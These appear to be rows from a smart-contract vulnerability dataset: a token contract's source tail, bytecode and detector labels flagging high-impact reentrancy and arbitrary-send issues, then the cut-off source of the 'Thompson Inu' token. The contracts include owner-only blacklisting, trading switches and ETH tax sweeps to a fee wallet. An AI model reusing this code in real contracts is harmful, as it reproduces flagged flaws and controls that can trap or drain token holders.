function addLiquidity() external onlyTaxCollector{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | 0x6080604052600436106101435760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb14610408578063bfd7928414610445578063d49b55d614610482578063dd62ed3e14610499578063e43252d7146104d6578063e8078d94146104ff5761014a565b8063715018a61461031e5780637d1db4a5146103355780638ab1d681146103605780638da5cb5b1461038957806395d89b41146103b45780639e752b95146103df5761014a565b8063313ce56711610108578063313ce567146102485780633d8705ab146102735780633e07ce5b1461028a5780634a131672146102a15780636b999053146102b857806370a08231146102e15761014a565b8062b8cf2a1461014f57806306fdde0314610178578063095ea7b3146101a357806318160ddd146101e057806323b872dd1461020b5761014a565b3661014a57005b600080fd5b34801561015b57600080fd5b50610176600480360381019061017191906124e7565b610516565b005b34801561018457600080fd5b5061018d61060c565b60405161019a91906125b8565b60405180910390f35b3480156101af57600080fd5b506101ca60048036038101906101c59190612610565b610649565b6040516101d7919061266b565b60405180910390f35b3480156101ec57600080fd5b506101f5610667565b6040516102029190612695565b60405180910390f35b34801561021757600080fd5b50610232600480360381019061022d91906126b0565b610671565b60405161023f919061266b565b60405180910390f35b34801561025457600080fd5b5061025d61074a565b60405161026a919061271f565b60405180910390f35b34801561027f57600080fd5b50610288610753565b005b34801561029657600080fd5b5061029f6107c5565b005b3480156102ad57600080fd5b506102b6610831565b005b3480156102c457600080fd5b506102df60048036038101906102da919061273a565b610bd4565b005b3480156102ed57600080fd5b506103086004803603810190610303919061273a565b610c90565b6040516103159190612695565b60405180910390f35b34801561032a57600080fd5b50610333610cd9565b005b34801561034157600080fd5b5061034a610e2c565b6040516103579190612695565b60405180910390f35b34801561036c57600080fd5b506103876004803603810190610382919061273a565b610e32565b005b34801561039557600080fd5b5061039e610eee565b6040516103ab9190612776565b60405180910390f35b3480156103c057600080fd5b506103c9610f17565b6040516103d691906125b8565b60405180910390f35b3480156103eb57600080fd5b5061040660048036038101906104019190612791565b610f54565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612610565b610fcc565b60405161043c919061266b565b60405180910390f35b34801561045157600080fd5b5061046c6004803603810190610467919061273a565b610fea565b604051610479919061266b565b60405180910390f35b34801561048e57600080fd5b5061049761100a565b005b3480156104a557600080fd5b506104c060048036038101906104bb91906127be565b611084565b6040516104cd9190612695565b60405180910390f35b3480156104e257600080fd5b506104fd60048036038101906104f8919061273a565b61110b565b005b34801561050b57600080fd5b506105146111c7565b005b61051e611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057757600080fd5b60005b81518110156106085760016005600084848151811061059c5761059b6127fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106009061285c565b91505061057a565b5050565b60606040518060400160405280600981526020017f536869626174616d610000000000000000000000000000000000000000000000815250905090565b600061065d610656611366565b848461136e565b6001905092915050565b6000600654905090565b600061067e848484611539565b61073f8461068a611366565b61073a856040518060600160405280602881526020016132f160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f0611366565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be09092919063ffffffff16565b61136e565b600190509392505050565b60006008905090565b61075b611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b457600080fd5b60004790506107c281611c44565b50565b6107cd611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082657600080fd5b600654600a81905550565b610839611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089257600080fd5b600c60149054906101000a900460ff16156108e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d9906128f1565b60405180910390fd5b61091130600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461136e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a29190612926565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4f9190612926565b6040518363ffffffff1660e01b8152600401610a6c929190612953565b6020604051808303816000875af1158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaf9190612926565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b8e92919061297c565b6020604051808303816000875af1158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd191906129d1565b50565b610bdc611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ce1611366565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590612a4a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a5481565b610e3a611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9357600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f534849424154414d410000000000000000000000000000000000000000000000815250905090565b610f5c611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb557600080fd5b600a8110610fc257600080fd5b8060088190555050565b6000610fe0610fd9611366565b8484611539565b6001905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b611012611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106b57600080fd5b600061107630610c90565b905061108181611cb0565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611113611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116c57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6111cf611366565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122857600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061127130610c90565b60008061127c610eee565b426040518863ffffffff1660e01b815260040161129e96959493929190612aaf565b60606040518083038185885af11580156112bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112e19190612b25565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550565b600061135e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f29565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d590612bea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561144e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144590612c7c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161152c9190612695565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612d0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161090612da0565b60405180910390fd5b6000811161165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390612e32565b60405180910390fd5b611664610eee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116d257506116a2610eee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2057600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117825750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561182257600a548110611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890612e9e565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fc90612f0a565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156119ad5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a035750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a605760075481611a1584610c90565b611a1f9190612f2a565b10611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690612fcc565b60405180910390fd5b5b6000611a6b30610c90565b9050600c60159054906101000a900460ff16158015611ad85750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611af05750600c60169054906101000a900460ff165b15611b1e57611afe81611cb0565b6000479050670de0b6b3a76400008110611b1c57611b1b47611c44565b5b505b505b611bdb838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bc75750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bd357600854611bd6565b60005b611f8c565b505050565b6000838311158290611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f91906125b8565b60405180910390fd5b5060008385611c379190612fec565b9050809150509392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cac573d6000803e3d6000fd5b5050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ce857611ce7612346565b5b604051908082528060200260200182016040528015611d165781602001602082028036833780820191505090505b5090503081600081518110611d2e57611d2d6127fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df99190612926565b81600181518110611e0d57611e0c6127fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e7430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461136e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ed89594939291906130de565b600060405180830381600087803b158015611ef257600080fd5b505af1158015611f06573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60008083118290611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6791906125b8565b60405180910390fd5b5060008385611f7f9190613167565b9050809150509392505050565b6000611fb46064611fa684866121f990919063ffffffff16565b61131c90919063ffffffff16565b90506000611fcb828561227490919063ffffffff16565b905061201f84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b481600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122be90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214982600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121e99190612695565b60405180910390a3505050505050565b60008083141561220c576000905061226e565b6000828461221a9190613198565b90508284826122299190613167565b14612269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226090613264565b60405180910390fd5b809150505b92915050565b60006122b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be0565b905092915050565b60008082846122cd9190612f2a565b905083811015612312576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612309906132d0565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61237e82612335565b810181811067ffffffffffffffff8211171561239d5761239c612346565b5b80604052505050565b60006123b061231c565b90506123bc8282612375565b919050565b600067ffffffffffffffff8211156123dc576123db612346565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061241d826123f2565b9050919050565b61242d81612412565b811461243857600080fd5b50565b60008135905061244a81612424565b92915050565b600061246361245e846123c1565b6123a6565b90508083825260208201905060208402830185811115612486576124856123ed565b5b835b818110156124af578061249b888261243b565b845260208401935050602081019050612488565b5050509392505050565b600082601f8301126124ce576124cd612330565b5b81356124de848260208601612450565b91505092915050565b6000602082840312156124fd576124fc612326565b5b600082013567ffffffffffffffff81111561251b5761251a61232b565b5b612527848285016124b9565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561256a57808201518184015260208101905061254f565b83811115612579576000848401525b50505050565b600061258a82612530565b612594818561253b565b93506125a481856020860161254c565b6125ad81612335565b840191505092915050565b600060208201905081810360008301526125d2818461257f565b905092915050565b6000819050919050565b6125ed816125da565b81146125f857600080fd5b50565b60008135905061260a816125e4565b92915050565b6000806040838503121561262757612626612326565b5b60006126358582860161243b565b9250506020612646858286016125fb565b9150509250929050565b60008115159050919050565b61266581612650565b82525050565b6000602082019050612680600083018461265c565b92915050565b61268f816125da565b82525050565b60006020820190506126aa6000830184612686565b92915050565b6000806000606084860312156126c9576126c8612326565b5b60006126d78682870161243b565b93505060206126e88682870161243b565b92505060406126f9868287016125fb565b9150509250925092565b600060ff82169050919050565b61271981612703565b82525050565b60006020820190506127346000830184612710565b92915050565b6000602082840312156127505761274f612326565b5b600061275e8482850161243b565b91505092915050565b61277081612412565b82525050565b600060208201905061278b6000830184612767565b92915050565b6000602082840312156127a7576127a6612326565b5b60006127b5848285016125fb565b91505092915050565b600080604083850312156127d5576127d4612326565b5b60006127e38582860161243b565b92505060206127f48582860161243b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612867826125da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561289a5761289961282d565b5b600182019050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006128db60178361253b565b91506128e6826128a5565b602082019050919050565b6000602082019050818103600083015261290a816128ce565b9050919050565b60008151905061292081612424565b92915050565b60006020828403121561293c5761293b612326565b5b600061294a84828501612911565b91505092915050565b60006040820190506129686000830185612767565b6129756020830184612767565b9392505050565b60006040820190506129916000830185612767565b61299e6020830184612686565b9392505050565b6129ae81612650565b81146129b957600080fd5b50565b6000815190506129cb816129a5565b92915050565b6000602082840312156129e7576129e6612326565b5b60006129f5848285016129bc565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a3460208361253b565b9150612a3f826129fe565b602082019050919050565b60006020820190508181036000830152612a6381612a27565b9050919050565b6000819050919050565b6000819050919050565b6000612a99612a94612a8f84612a6a565b612a74565b6125da565b9050919050565b612aa981612a7e565b82525050565b600060c082019050612ac46000830189612767565b612ad16020830188612686565b612ade6040830187612aa0565b612aeb6060830186612aa0565b612af86080830185612767565b612b0560a0830184612686565b979650505050505050565b600081519050612b1f816125e4565b92915050565b600080600060608486031215612b3e57612b3d612326565b5b6000612b4c86828701612b10565b9350506020612b5d86828701612b10565b9250506040612b6e86828701612b10565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612bd460248361253b565b9150612bdf82612b78565b604082019050919050565b60006020820190508181036000830152612c0381612bc7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c6660228361253b565b9150612c7182612c0a565b604082019050919050565b60006020820190508181036000830152612c9581612c59565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612cf860258361253b565b9150612d0382612c9c565b604082019050919050565b60006020820190508181036000830152612d2781612ceb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d8a60238361253b565b9150612d9582612d2e565b604082019050919050565b60006020820190508181036000830152612db981612d7d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e1c60298361253b565b9150612e2782612dc0565b604082019050919050565b60006020820190508181036000830152612e4b81612e0f565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000612e88601a8361253b565b9150612e9382612e52565b602082019050919050565b60006020820190508181036000830152612eb781612e7b565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000612ef4601b8361253b565b9150612eff82612ebe565b602082019050919050565b60006020820190508181036000830152612f2381612ee7565b9050919050565b6000612f35826125da565b9150612f40836125da565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f7557612f7461282d565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b6000612fb6601c8361253b565b9150612fc182612f80565b602082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b6000612ff7826125da565b9150613002836125da565b9250828210156130155761301461282d565b5b828203905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61305581612412565b82525050565b6000613067838361304c565b60208301905092915050565b6000602082019050919050565b600061308b82613020565b613095818561302b565b93506130a08361303c565b8060005b838110156130d15781516130b8888261305b565b97506130c383613073565b9250506001810190506130a4565b5085935050505092915050565b600060a0820190506130f36000830188612686565b6131006020830187612aa0565b81810360408301526131128186613080565b90506131216060830185612767565b61312e6080830184612686565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613172826125da565b915061317d836125da565b92508261318d5761318c613138565b5b828204905092915050565b60006131a3826125da565b91506131ae836125da565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e7576131e661282d565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061324e60218361253b565b9150613259826131f2565b604082019050919050565b6000602082019050818103600083015261327d81613241565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132ba601b8361253b565b91506132c582613284565b602082019050919050565b600060208201905081810360008301526132e9816132ad565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205381e82b167da351f1c9b5db6ae989550a9f4f7300e212f9b85da73585808f2164736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,162 |
0x7cc23b84ebdf8e71385d85344134942733faabb3 | /**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
https://t.me/ThompsonInu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ThompsonInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 11111111111 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Thompson Inu";
string private constant _symbol = "MSNINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private maxWalletAmount = _tTotal * 30 / 1000;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6242165FC0a358849F71ec6d1F1c7097FEe6aB6d);
_feeAddrWallet2 = payable(0x6242165FC0a358849F71ec6d1F1c7097FEe6aB6d);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
